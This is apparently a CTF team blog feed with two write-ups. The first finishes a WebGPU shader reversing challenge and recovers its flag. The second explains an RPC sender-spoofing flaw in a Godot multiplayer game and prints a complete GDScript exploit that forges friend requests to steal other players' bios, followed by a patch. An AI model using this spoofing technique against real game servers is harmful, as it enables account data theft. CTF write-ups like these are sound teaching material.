        <span class="k">await</span> <span class="k">new</span> <span class="nb">Promise</span><span class="p">(</span><span class="k">async</span> <span class="nx">resolve</span> <span class="o">=&gt;</span> <span class="p">{</span>
            <span class="k">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">exposeFunction</span><span class="p">(</span><span class="dl">'</span><span class="s1">__WASHCALLBACK</span><span class="dl">'</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
                <span class="nx">resolve</span><span class="p">(</span><span class="kc">null</span><span class="p">);</span>
            <span class="p">});</span>
            <span class="k">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">goto</span><span class="p">(</span><span class="s2">`http://127.0.0.1:8000/index.html?mode=</span><span class="p">${</span><span class="nx">mode</span><span class="p">}</span><span class="s2">&amp;temp=</span><span class="p">${</span><span class="nx">temp</span><span class="p">}</span><span class="s2">&amp;start=500`</span><span class="p">,</span> <span class="p">{</span> <span class="na">timeout</span><span class="p">:</span> <span class="mi">60000</span><span class="p">,</span> <span class="na">waitUntil</span><span class="p">:</span> <span class="dl">'</span><span class="s1">networkidle2</span><span class="dl">'</span> <span class="p">});</span>
            <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">`</span><span class="p">${</span><span class="nx">label</span><span class="p">}</span><span class="s2">: page opened`</span><span class="p">);</span>
        <span class="p">});</span>

        <span class="k">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">setViewport</span><span class="p">({</span>
            <span class="na">width</span><span class="p">:</span> <span class="mi">1920</span><span class="p">,</span>
            <span class="na">height</span><span class="p">:</span> <span class="mi">1080</span><span class="p">,</span>
        <span class="p">});</span>

        <span class="k">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">screenshot</span><span class="p">({</span>
            <span class="na">path</span><span class="p">:</span> <span class="nx">filename</span> <span class="k">as</span> <span class="kr">any</span> <span class="c1">// fuck you typescript, this always ends with .png, you stupid fuck</span>
        <span class="p">});</span>

        <span class="nx">console</span><span class="p">.</span><span class="nx">timeEnd</span><span class="p">(</span><span class="nx">label</span><span class="p">);</span>
    <span class="p">}</span> <span class="k">finally</span> <span class="p">{</span>
        <span class="k">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">close</span><span class="p">();</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="k">async</span> <span class="kd">function</span> <span class="nx">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">limiter</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Semaphore</span><span class="p">(</span><span class="mi">24</span><span class="p">);</span>
    <span class="kd">let</span> <span class="nx">promises</span><span class="p">:</span> <span class="nb">Promise</span><span class="o">&lt;</span><span class="kr">any</span><span class="o">&gt;</span><span class="p">[]</span> <span class="o">=</span> <span class="p">[];</span>

    <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">mode</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">mode</span> <span class="o">&lt;=</span> <span class="mi">9</span><span class="p">;</span> <span class="nx">mode</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">const</span> <span class="nx">mode_</span> <span class="o">=</span> <span class="nx">mode</span><span class="p">;</span>
        <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">temp</span> <span class="o">=</span> <span class="mi">20</span><span class="p">;</span> <span class="nx">temp</span> <span class="o">&lt;=</span> <span class="mi">100</span><span class="p">;</span> <span class="nx">temp</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
            <span class="kd">const</span> <span class="nx">temp_</span> <span class="o">=</span> <span class="nx">temp</span><span class="p">;</span>
            <span class="nx">promises</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">limiter</span><span class="p">.</span><span class="nx">runExclusive</span><span class="p">(</span><span class="k">async</span> <span class="nx">_</span> <span class="o">=&gt;</span> <span class="p">{</span>
                <span class="kd">let</span> <span class="na">opts</span><span class="p">:</span> <span class="nx">LaunchOptions</span> <span class="o">=</span> <span class="p">{</span>
                    <span class="na">headless</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
                    <span class="na">args</span><span class="p">:</span> <span class="p">[</span>
                        <span class="dl">"</span><span class="s2">--enable-unsafe-webgpu</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">--enable-features=Vulkan</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">--enable-gpu</span><span class="dl">"</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">--ignore-gpu-blocklist</span><span class="dl">"</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">--enable-gpu-client-logging</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">--enable-logging=stderr</span><span class="dl">"</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">--disable-background-timer-throttling</span><span class="dl">"</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">--disable-renderer-backgrounding</span><span class="dl">"</span><span class="p">,</span>
                    <span class="p">],</span>
                <span class="p">};</span>
                <span class="kd">const</span> <span class="nx">browser</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">launch</span><span class="p">(</span><span class="nx">opts</span><span class="p">);</span>
                <span class="k">try</span> <span class="p">{</span>
                    <span class="k">await</span> <span class="nx">wash</span><span class="p">(</span><span class="nx">browser</span><span class="p">,</span> <span class="nx">mode_</span><span class="p">,</span> <span class="nx">temp_</span><span class="p">);</span>
                <span class="p">}</span> <span class="k">finally</span> <span class="p">{</span>
                    <span class="nx">browser</span><span class="p">.</span><span class="nx">close</span><span class="p">();</span>
                <span class="p">}</span>
            <span class="p">}));</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="k">await</span> <span class="nb">Promise</span><span class="p">.</span><span class="nx">all</span><span class="p">(</span><span class="nx">promises</span><span class="p">);</span>
<span class="p">}</span>
<span class="nx">main</span><span class="p">();</span>
</code></pre></div></div>

<p>Convincing Chrome to use GPU in headless mode took longer than I’d like to
admit. Some of the <code class="language-plaintext highlighter-rouge">args</code> are probably unnecessary. What I wasn’t able to do is
to use a single Chrome instance, as it throttles background tabs so much they
barely make any progress.</p>

<p>Launching 24 Chrome instances causes a massive CPU usage spike, but things
remain calm afterwards.</p>

<p>In the end, this script took about half an hour on my relatively old desktop
PC.</p>

<p>This is the video of all end results:</p>

<video controls="" width="700" src="/files/washing-machine/slideshow.webm"></video>

<p>You probably can’t see it well in the video, but one of the results is not like the
others. Instead of random RGB colors, there’s apparently only black and white:</p>

<p><img src="/files/washing-machine/mode5_temp063.webp" /></p>

<h4 id="extracting-the-texture">Extracting the texture</h4>

<p>So this texture hopefully contains the flag. But taking it out of the washing
machine turned out to be a lot of trouble.</p>

<p>You see, fragment shader (aka pixel shader) writes its result to the screen.
To my knowledge, you can’t just retrieve back what it just drew on the screen.</p>

<p>After many trial-and-errors, I figured out a way that works. I added a buffer
output to the shader so it would also write the result there along with drawing
it on the screen.</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">$</span><span class="p">{</span><span class="n">_0x51a072</span><span class="p">}</span>
<span class="err">$</span><span class="p">{</span><span class="n">_0x415b4b</span><span class="p">}</span>
<span class="n">var</span> <span class="n">texture0</span> <span class="p">:</span> <span class="n">texture_2d</span><span class="o">&lt;</span><span class="nb">f32</span><span class="o">&gt;</span><span class="p">;</span>
<span class="n">var</span> <span class="n">texture1</span> <span class="p">:</span> <span class="n">texture_2d</span><span class="o">&lt;</span><span class="nb">f32</span><span class="o">&gt;</span><span class="p">;</span>
<span class="n">var</span> <span class="n">texture2</span> <span class="p">:</span> <span class="n">texture_2d</span><span class="o">&lt;</span><span class="nb">f32</span><span class="o">&gt;</span><span class="p">;</span>
<span class="n">var</span> <span class="n">texture3</span> <span class="p">:</span> <span class="n">texture_2d</span><span class="o">&lt;</span><span class="nb">f32</span><span class="o">&gt;</span><span class="p">;</span>
<span class="n">var</span> <span class="n">texture4</span> <span class="p">:</span> <span class="n">texture_2d</span><span class="o">&lt;</span><span class="nb">f32</span><span class="o">&gt;</span><span class="p">;</span>
<span class="n">var</span><span class="o">&lt;</span><span class="n">uniform</span><span class="o">&gt;</span> <span class="n">params</span><span class="p">:</span> <span class="nb">f32</span><span class="p">;</span>

<span class="n">var</span><span class="o">&lt;</span><span class="n">storage</span><span class="p">,</span> <span class="n">read_write</span><span class="o">&gt;</span> <span class="n">kek</span> <span class="p">:</span> <span class="n">array</span><span class="o">&lt;</span><span class="n">vec4f</span><span class="o">&gt;</span><span class="p">;</span> <span class="c1">// &lt;-- BUFFER DECLARATION</span>

<span class="o">@</span><span class="n">fragment</span>
<span class="k">fn</span> <span class="nf">main</span><span class="p">(</span><span class="n">input</span> <span class="p">:</span> <span class="n">FragmentInputs</span><span class="p">)</span> <span class="k">-&gt;</span> <span class="n">FragmentOutputs</span> <span class="p">{</span>
    <span class="k">let</span> <span class="n">base</span> <span class="o">=</span> <span class="nf">clamp</span><span class="p">(</span>
        <span class="nf">vec2u</span><span class="p">(</span><span class="nf">u32</span><span class="p">(</span><span class="nf">round</span><span class="p">(</span><span class="n">fragmentInputs</span><span class="py">.uv.x</span> <span class="o">*</span> <span class="mi">2047</span><span class="p">)),</span> <span class="nf">u32</span><span class="p">(</span><span class="nf">round</span><span class="p">(</span><span class="n">fragmentInputs</span><span class="py">.uv.y</span> <span class="o">*</span> <span class="mi">1023</span><span class="p">))),</span>
        <span class="nf">vec2u</span><span class="p">(</span><span class="n">fragmentInputs</span><span class="py">.uv0Clamp.x</span><span class="p">,</span> <span class="n">fragmentInputs</span><span class="py">.uv0Clamp.y</span> <span class="o">-</span> <span class="mi">15</span><span class="p">),</span>
        <span class="nf">vec2u</span><span class="p">(</span><span class="n">fragmentInputs</span><span class="py">.uv0Clamp.x</span> <span class="o">+</span> <span class="mi">15</span><span class="p">,</span> <span class="n">fragmentInputs</span><span class="py">.uv0Clamp.y</span><span class="p">)</span>
    <span class="p">);</span>
    <span class="k">let</span> <span class="n">c0</span> <span class="o">=</span> <span class="nf">vec4u</span><span class="p">(</span><span class="nf">round</span><span class="p">(</span><span class="nf">textureLoad</span><span class="p">(</span><span class="n">texture0</span><span class="p">,</span> <span class="n">base</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">*</span> <span class="mi">255</span><span class="p">));</span>
    <span class="k">let</span> <span class="n">res</span> <span class="o">=</span> <span class="nf">mix</span><span class="p">(</span>
        <span class="nf">vec4f</span><span class="p">((</span><span class="nf">vec4f</span><span class="p">(</span><span class="n">c0</span><span class="p">)</span><span class="o">/</span><span class="mi">255</span><span class="p">)</span><span class="py">.xyz</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span>
        <span class="nf">vec4f</span><span class="p">((</span><span class="nf">vec4f</span><span class="p">(</span>
            <span class="n">c0</span>
            <span class="o">^</span> <span class="nf">vec4u</span><span class="p">(</span><span class="nf">round</span><span class="p">(</span><span class="nf">textureLoad</span><span class="p">(</span><span class="n">texture1</span><span class="p">,</span> <span class="p">(</span><span class="n">base</span> <span class="o">+</span> <span class="n">fragmentInputs</span><span class="py">.uv1Clamp</span><span class="p">)</span> <span class="o">-</span> <span class="n">fragmentInputs</span><span class="py">.uv0Clamp</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">*</span> <span class="mi">255</span><span class="p">))</span>
            <span class="o">^</span> <span class="nf">vec4u</span><span class="p">(</span><span class="nf">round</span><span class="p">(</span><span class="nf">textureLoad</span><span class="p">(</span><span class="n">texture2</span><span class="p">,</span> <span class="p">(</span><span class="n">base</span> <span class="o">+</span> <span class="n">fragmentInputs</span><span class="py">.uv2Clamp</span><span class="p">)</span> <span class="o">-</span> <span class="n">fragmentInputs</span><span class="py">.uv0Clamp</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">*</span> <span class="mi">255</span><span class="p">))</span>
            <span class="o">^</span> <span class="nf">vec4u</span><span class="p">(</span><span class="nf">round</span><span class="p">(</span><span class="nf">textureLoad</span><span class="p">(</span><span class="n">texture3</span><span class="p">,</span> <span class="p">(</span><span class="n">base</span> <span class="o">+</span> <span class="n">fragmentInputs</span><span class="py">.uv3Clamp</span><span class="p">)</span> <span class="o">-</span> <span class="n">fragmentInputs</span><span class="py">.uv0Clamp</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">*</span> <span class="mi">255</span><span class="p">))</span>
            <span class="o">^</span> <span class="nf">vec4u</span><span class="p">(</span><span class="nf">round</span><span class="p">(</span><span class="nf">textureLoad</span><span class="p">(</span><span class="n">texture4</span><span class="p">,</span> <span class="p">(</span><span class="n">base</span> <span class="o">+</span> <span class="n">fragmentInputs</span><span class="py">.uv4Clamp</span><span class="p">)</span> <span class="o">-</span> <span class="n">fragmentInputs</span><span class="py">.uv0Clamp</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">*</span> <span class="mi">255</span><span class="p">)))</span><span class="o">/</span><span class="mi">255</span><span class="p">)</span><span class="py">.xyz</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span>
        <span class="n">params</span>
    <span class="p">);</span>

    <span class="n">kek</span><span class="p">[</span><span class="n">base</span><span class="py">.x</span> <span class="o">+</span> <span class="n">base</span><span class="py">.y</span> <span class="o">*</span> <span class="mi">2048</span><span class="p">]</span> <span class="o">=</span> <span class="n">res</span><span class="p">;</span> <span class="c1">// &lt;-- BUFFER WRITE</span>

    <span class="n">fragmentOutputs</span><span class="py">.color</span> <span class="o">=</span> <span class="n">res</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>And the code to set up and display buffer contents afterwards:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">window</span><span class="p">.</span><span class="nx">globalBuf</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Ps</span><span class="p">(</span><span class="nx">_0x429972</span><span class="p">,</span> <span class="mi">2048</span><span class="o">*</span><span class="mi">1024</span><span class="o">*</span><span class="mi">4</span><span class="o">*</span><span class="mi">4</span><span class="p">,</span> <span class="nx">G</span><span class="p">[</span><span class="dl">'</span><span class="s1">BUFFER_CREATIONFLAG_WRITE</span><span class="dl">'</span><span class="p">]</span> <span class="o">|</span> <span class="nx">G</span><span class="p">[</span><span class="dl">'</span><span class="s1">BUFFER_CREATIONFLAG_READ</span><span class="dl">'</span><span class="p">]);</span>
<span class="c1">// to call show() manually in the dev console</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">show</span> <span class="o">=</span> <span class="k">async</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">buffer</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">globalBuf</span><span class="p">.</span><span class="nx">read</span><span class="p">();</span>
    <span class="kd">const</span> <span class="nx">arr</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Float32Array</span><span class="p">(</span><span class="nx">buffer</span><span class="p">.</span><span class="nx">buffer</span><span class="p">);</span>
    <span class="kd">const</span> <span class="nx">uint8c</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint8ClampedArray</span><span class="p">(</span><span class="nx">arr</span><span class="p">.</span><span class="nx">length</span><span class="p">);</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">uint8c</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="nx">arr</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">*</span> <span class="mi">255</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="kd">const</span> <span class="nx">canvas</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">OffscreenCanvas</span><span class="p">(</span><span class="mi">2048</span><span class="p">,</span> <span class="mi">1024</span><span class="p">);</span>
    <span class="kd">const</span> <span class="nx">ctx</span> <span class="o">=</span> <span class="nx">canvas</span><span class="p">.</span><span class="nx">getContext</span><span class="p">(</span><span class="dl">"</span><span class="s2">2d</span><span class="dl">"</span><span class="p">);</span>
    <span class="nx">ctx</span><span class="p">.</span><span class="nx">putImageData</span><span class="p">(</span><span class="k">new</span> <span class="nx">ImageData</span><span class="p">(</span><span class="nx">uint8c</span><span class="p">,</span> <span class="mi">2048</span><span class="p">,</span> <span class="mi">1024</span><span class="p">),</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

    <span class="kd">const</span> <span class="nx">blob</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">canvas</span><span class="p">.</span><span class="nx">convertToBlob</span><span class="p">();</span>
    <span class="kd">const</span> <span class="nx">url</span> <span class="o">=</span> <span class="nx">URL</span><span class="p">.</span><span class="nx">createObjectURL</span><span class="p">(</span><span class="nx">blob</span><span class="p">);</span>
    <span class="nb">window</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="nx">url</span><span class="p">);</span>
<span class="p">};</span>

<span class="c1">// ...</span>
    <span class="nx">_0x483e57</span><span class="p">[</span><span class="dl">'</span><span class="s1">setStorageBuffer</span><span class="dl">'</span><span class="p">](</span><span class="dl">'</span><span class="s1">kek</span><span class="dl">'</span><span class="p">,</span> <span class="nx">globalBuf</span><span class="p">),</span>
<span class="c1">// ...</span>
</code></pre></div></div>

<p>It also took some embarrassing amount of time to figure out that the original
texture is rectangular, and I have to match the dimensions exactly (more on
that later). Behind this simple <code class="language-plaintext highlighter-rouge">kek[base.x + base.y * 2048] = res</code> there were
<em>a lot</em> of failed attempts.</p>

<h4 id="applying-the-texture-back">Applying the texture back</h4>

<p><img src="/files/washing-machine/extracted.webp" /></p>

<p>Okay, we’re getting closer, but there’s still something wrong.</p>

<p>My guess (which turned out to be right) was that the towel model has weird UV
mapping which basically shuffles small squares of the texture before projecting
them onto surface.</p>

<p>So my next idea was to replace the dirty towel texture with the extracted one,
hoping that I’d see the flag when it’s being brought to the washing machine.</p>

<p>The first attempt was not successful, as I erroneously extracted a square
texture instead of a rectangular one. Missing texels were drawn as black
squares, which threw me off the track for a while, as I assumed it was some
kind of 2D matrix code.</p>

<p><img src="/files/washing-machine/polotenchik.webp" /></p>

<p>Thanks to my teammate <a href="https://x.com/dsp25no">@dsp25no</a>’s wise input, I decided
to look again. I noticed that the texture is being read with <code class="language-plaintext highlighter-rouge">textureLoad</code>, which
expects raw integer coordinates (unlike <code class="language-plaintext highlighter-rouge">textureSample</code>, which accepts <code class="language-plaintext highlighter-rouge">[0.0,
1.0]</code> range), so the black squares were simply due to out-of-bounds reads.</p>

<p>After fixing the code to extract 2048x1024 texture, and fiddling a bit with
mirroring, I finally felt I’m almost there:</p>

<p><img src="/files/washing-machine/flag-1.webp" /></p>

<p>Damn, I can’t see the entire flag. But I can patch the vertex shader to
straighten the towel a bit:</p>

<pre><code class="language-wgsl">positionUpdated.x += abs(positionUpdated.y);
positionUpdated.y = 0;
positionUpdated.x -= 0.1;
</code></pre>

<p><img src="/files/washing-machine/flag-2.webp" /></p>

<p>Okay, the right side is fucked up. Let’s try something else…</p>

<pre><code class="language-wgsl">positionUpdated.x -= 0.6;
</code></pre>

<p><img src="/files/washing-machine/flag-3.webp" /></p>

<p>That should do it!</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SAS{
 l1f3_15_l4undry_
 d1e_w3lt_157_d1e_w45chm45ch1n3_
 13d17f5353c7a5facf134f1ea16a
}
</code></pre></div></div>]]></content><author><name>[&quot;wgh&quot;]</name></author><category term="write-up" /><summary type="html"><![CDATA[Washing Machine was a fun WebGPU challenge on SAS CTF 2025 quals. We had to reverse enormous minified JavaScript, brute-force our way to find the correct washing cycle and temperature combination, and patch the shader code to give us the computed texture data back. We were the only team that managed to solve this challenge.]]></summary></entry><entry><title type="html">Lonely Island write-up (FAUST CTF 2021)</title><link href="http://0.0.0.0:4000/lonely-island-write-up-faust-ctf-2021/" rel="alternate" type="text/html" title="Lonely Island write-up (FAUST CTF 2021)" /><published>2021-06-17T06:22:33+03:00</published><updated>2021-06-17T06:22:33+03:00</updated><id>http://0.0.0.0:4000/lonely-island-write-up-faust-ctf-2021</id><content type="html" xml:base="http://0.0.0.0:4000/lonely-island-write-up-faust-ctf-2021/"><![CDATA[<p>Lonely Island was one of the tasks on FAUST CTF 2021.</p>

<p>This task was a multiplayer FPS game based on Godot engine. This is something you don’t see on CTFs often, let alone on attack-defense ones. One notable example I can think of is <a href="https://www.pwnadventure.com/">Pwn Adventure</a> on Ghost in the Shellcode CTF many years ago. Although Pwn Adventure was considerably more complex, it was a jeopardy competition, and yet Lonely Island appeared on an attack-defense CTF.</p>

<!--more-->

<p><img src="/content/images/2021/06/game.jpg" alt="game" /></p>

<p>The game itself is simple. It’s a capture the flag FPS shooter, akin to old-school arena shooters like Unreal Tournament or Quake (yes, being an Unreal guy myself, in <em>this</em> particular order). It follows the pirate theme of FAUST CTF 2021 itself. There’s only one map and only one weapon, projectile-based musket of some sort, which kills opponents in one shot. The gameplay itself has some bugs: you can hack your speed, <del>the shadows are cast in the wrong direction from the sun</del>, etc. But these bugs have nothing to do with the flags of the A/D competition.</p>

<p>When you register an account, you can input some bio text about yourself. You can befriend another player, and if they do the same to you, you’ll see each other’s biographies in the friend list. The check system registers accounts, and stores the flags in their biographies. So if you could befriend a check system account, and make it do the same to you, you’ll be a able to steal a flag.</p>

<p><img src="/content/images/2021/06/register.jpg" alt="register" /></p>

<h3 id="vulnerability">Vulnerability</h3>

<p>In Godot, game logic is written in a high-level language called GDScript. Luckily, the scripts are stored in their source code form inside the game <code class="language-plaintext highlighter-rouge">.pck</code> archives, which can be easily unpacked and repacked using various tools, like <a href="https://github.com/tehskai/godot-unpacker.git">godot-unpacker</a> and <a href="https://github.com/hhyyrylainen/GodotPckTool">GodotPckTool</a> (the latter is more powerful).</p>

<p>For every client connection, the server has a corresponding object, which source code can be found in <code class="language-plaintext highlighter-rouge">server/connection.gd</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>extends Node

func answer_rpc(method: String, args: Array):
	self.callv("rpc_id", [int(self.name), method] + args)

master func register(name: String, pw: String, bio: String):
	answer_rpc("register_callback", get_parent().register(name, pw, bio))

master func login(name: String, pw: String):
	answer_rpc("login_callback", [get_parent().login(int(self.name), name, pw)])

master func join_game():
	get_parent().join_game(int(self.name))

master func add_friend(name: String):
	get_parent().add_friend(int(self.name), name)

master func get_friends():
	answer_rpc("friendlist_callback", [get_parent().get_friends(int(self.name))])
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">self.name</code> is initialized to network peer ID in <code class="language-plaintext highlighter-rouge">_on_peer_connected</code> callback in <code class="language-plaintext highlighter-rouge">server/server.gd</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>func _on_peer_connected(id: int):
	var connection = Node.new()
	connection.set_script(preload("res://server/connection.gd"))
	connection.name = str(id)
	add_child(connection)
</code></pre></div></div>

<p>Objects in Godot are organized in a hierarchy. For example, given peer ID <code class="language-plaintext highlighter-rouge">1748223063</code>, the full path for the connection object thus would be <code class="language-plaintext highlighter-rouge">Remote/1748223063</code>.</p>

<p>There is a concept of object ownership in Godot: the authoritative owner for each object is either the server or one of the peers. However, this doesn’t present any security barrier: you’re free to call any RPC method of any object. You can even call a <code class="language-plaintext highlighter-rouge">puppet</code> method of an object owned by some other peer: the server will route a method call for you (in this particular case all objects of interest are owned by the server, though). There’s a way to verify the sender, but it has to be done explicitly.</p>

<p>So this gives us the idea: we can try to call <code class="language-plaintext highlighter-rouge">add_friend</code> on behalf of another player, making it befriend us. And after we befrined him ourselves, we’ll see his bio in our friend list.</p>

<p>However, in order to that, the player has to be connected when we issue a forged <code class="language-plaintext highlighter-rouge">add_friend</code> call (there wouldn’t be a connection node otherwise), and we must know his peer ID (because that’s the name of the connection node) . <em>Maybe</em> there’s a way to simply ask the server for the list of ID of all connected peers. But I never bothered to check it, because there was another obvious way: when player enters the game, a new player node (in-game object) is created with <code class="language-plaintext highlighter-rouge">name</code> equal to peer ID:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
// server/game.gd
func join(id: int, playerinfo) -&gt; bool:
	if id in players:
		return false
	players[id] = true
	var min_team = teams[0]
	var teamid = 0
	for i in range(1, len(teams)):
		if len(teams[i]) &lt; len(min_team):
			min_team = teams[i]
			teamid = i
	min_team[id] = true
	create_player(id, playerinfo.name, teamid)
	for target_id in players:
		if target_id != id:
			self.rpc_id(target_id, "create_player", id, playerinfo.name, teamid)
	return true

// client/game.gd
puppet func create_player(id: int, name: String, teamid: int):
	if not visible or has_node(str(id)):
		return
	var player = preload("res://client/player.tscn").instance()
	player.name = str(id)
	player.player_name = name
	player.teamid = teamid
	add_child_below_node($Flag1, player)
</code></pre></div></div>

<p>The check system’s player does join the game for a brief moment. So if our exploit simply joined the game, and waited for a player to appear, it could forge these RPC calls right away, inside <code class="language-plaintext highlighter-rouge">create_player</code> RPC handler.</p>

<h3 id="exploit">Exploit</h3>

<p>The idea doesn’t sound too complicated, but how to automate this? Do we need to actually run a modified game client with graphics? Luckily, Godot has a CLI mode to execute a script directly. We can write some bare-bones script that would connect, and then call the required RPC methods to register, login and join the game. We don’t have to implement all the methods and all object types. The engine will spew errors about missing nodes when something happens in the game (player characters move, etc.), but these errors can be safely ignored.</p>

<p>Note that there are several source files: we have to mirror the object hierarchy, so the objects will have proper fully-qualified names. E.g. there should be a <code class="language-plaintext highlighter-rouge">Remote</code> at the top, <code class="language-plaintext highlighter-rouge">Remote/1748223063</code> would be our fake connection objects of other players, and <code class="language-plaintext highlighter-rouge">Remote/Game</code> is the object that receives <code class="language-plaintext highlighter-rouge">create_player</code> calls.</p>

<p>You can download the exploit archive <a href="/files/lonely-island/lonely-island.tar.zstd">here</a>.</p>

<h4 id="maingd"><code class="language-plaintext highlighter-rouge">main.gd</code></h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>extends SceneTree

func _init():
    var node := Node.new()
    node.set_script(load("./control.gd"))
    get_root().add_child(node)
    node.stuff()
    yield()
    quit()
</code></pre></div></div>

<h4 id="controlgd"><code class="language-plaintext highlighter-rouge">control.gd</code></h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>extends Node

signal connection_changed

var connection: Node

func stuff():
    name = "Remote"

    var game := Node.new()
    game.set_script(load("./game.gd"))
    game.name = "Game"
    add_child(game)

    var peer := NetworkedMultiplayerENet.new()
    peer.connect("connection_failed", self, "emit_signal", ["connection_changed", false])
    peer.connect("connection_succeeded", self, "emit_signal", ["connection_changed", true])
    peer.connect("server_disconnected", self, "server_disconnected")
    if peer.create_client(OS.get_environment("target"), 4321) != OK:
        print("create_client failed")

    get_tree().network_peer = peer
    if yield(self, "connection_changed"):
        connection = Node.new()
        connection.set_script(load("connection.gd"))
        connection.name = str(get_tree().get_network_unique_id())
        print("our connection name is ", connection.name)
        add_child(connection)
    else:
        print("fail")

    var username = OS.get_environment("username")
    var password = OS.get_environment("password")

    connection.rpc_id(1, "register", username, password, "")
    yield(connection, "registered")

    connection.rpc_id(1, "login", username, password)
    if yield(connection, "login"):
        print("logged in")
    else:
        print("Cannot log in")

    connection.rpc_id(1, "join_game")

    connection.rpc_id(1, "get_friends")
    var friends = yield(connection, "friendlist")
    print(friends)

func server_disconnected():
    get_tree().quit(1)
</code></pre></div></div>

<h4 id="gamegd"><code class="language-plaintext highlighter-rouge">game.gd</code></h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>extends Node

puppet func playerlist(list: Array):
    print("playerlist ", list)

puppet func create_player(id: int, name: String, teamid: int):
    print("create_player ", id, name, teamid)

    var connection := Node.new()
    connection.set_script(load("./decoded_pck/client_godot_decoded/client/connection.gd"))
    connection.name = str(id)
    get_parent().add_child(connection)

    connection.rpc_id(1, "add_friend", OS.get_environment("username"))
    get_parent().connection.rpc_id(1, "add_friend", name)

    get_parent().connection.rpc_id(1, "get_friends")
    var friends = yield(get_parent().connection, "friendlist")
    print(friends)

puppet func delete_player(id: int):
    print("delete_player ", id)
</code></pre></div></div>

<h3 id="patching">Patching</h3>

<p>How can we patch this vulnerability? As I said earlier, there is a way to verify sender: <code class="language-plaintext highlighter-rouge">get_tree().get_rpc_sender_id()</code> returns the  ID of the peer that issued the RPC call being currently handled. Since <code class="language-plaintext highlighter-rouge">self.name</code> is initialized to the peer ID, we could simply compare them:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>master func add_friend(name: String):
	var id = int(self.name)
	if id != get_tree().get_rpc_sender_id():
		print("EXPLOITATION DETECTED", " ", id, "!=", get_tree().get_rpc_sender_id())
		return
	get_parent().add_friend(id, name)
